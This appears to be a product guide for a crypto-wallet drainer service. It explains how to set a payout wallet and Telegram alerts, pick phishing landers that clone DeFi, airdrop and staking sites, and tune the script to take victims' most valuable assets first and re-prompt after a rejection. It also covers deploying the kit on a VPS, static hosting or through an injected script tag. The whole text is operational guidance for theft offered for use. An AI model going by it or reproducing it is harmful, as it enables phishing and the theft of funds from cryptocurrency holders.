> For the complete documentation index, see [llms.txt](https://quarklab.gitbook.io/quark-lab/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://quarklab.gitbook.io/quark-lab/quark-drainer-by-quarklab/how-to-build-and-deploy-your-drainer.md).

# How to Build and Deploy Your Drainer

Step-by-step setup in the builder: wallet, bot alerts, templates, and server deployment.

You build and export your drainer directly in the panel at [account.quarkdrainer.cc/dashboard/build](https://account.quarkdrainer.cc/dashboard/build).

***

### 1. Payout Wallet and Telegram Bot

In the builder tab, fill in three fields:

1. **Payout Wallet**: Your clean cold wallet address where 100% of drained funds go.
2. **Telegram Bot Token**: Get it from `@BotFather`.
3. **Telegram Chat ID**: Get your numeric ID from `@userinfobot`.

Every time someone connects a wallet, signs, or a transaction confirms, you get an instant hit alert in your Telegram.

***

### 2. Pick a Template

Choose from 400+ ready landers or use your own site:

* **DEX & Swaps**: Uniswap, Raydium, PancakeSwap clones.
* **Airdrops**: LayerZero, Arbitrum, Monad claim pages.
* **Staking**: Lido, EigenLayer, Pendle dashboards.
* **Security & Whitelists**: Verification and claim portals.

You can also drop the single JS snippet into your own custom lander (WordPress, Webflow, React, HTML).

***

### 3. Draining Settings

* **Priority**: The script automatically targets the most valuable assets first (native coins, high-balance tokens, LP positions, NFTs).
* **On Reject, Next**: If the user cancels the first prompt, the script immediately prompts the next asset.
* **Min Value Filter**: Set a minimum balance (for example, $50) so you do not waste time or fees on empty wallets.

***

### 4. Deploy

Pick how you want to run it:

* **Your VPS (Recommended)**: Download the ZIP from the builder, upload to your VPS, and run `npm start` behind Nginx. Full control, zero logs on outside servers.
* **Static Hosting**: Upload the files to Cloudflare Pages, Vercel, or any shared hosting.
* **Script Tag**: Add `<script src="/drainer.js"></script>` to your existing website.

***

### Links

* Builder: [account.quarkdrainer.cc/dashboard/build](https://account.quarkdrainer.cc/dashboard/build)
* Telegram: [t.me/quarkdrainer](https://quarkdrainer.t.me/)
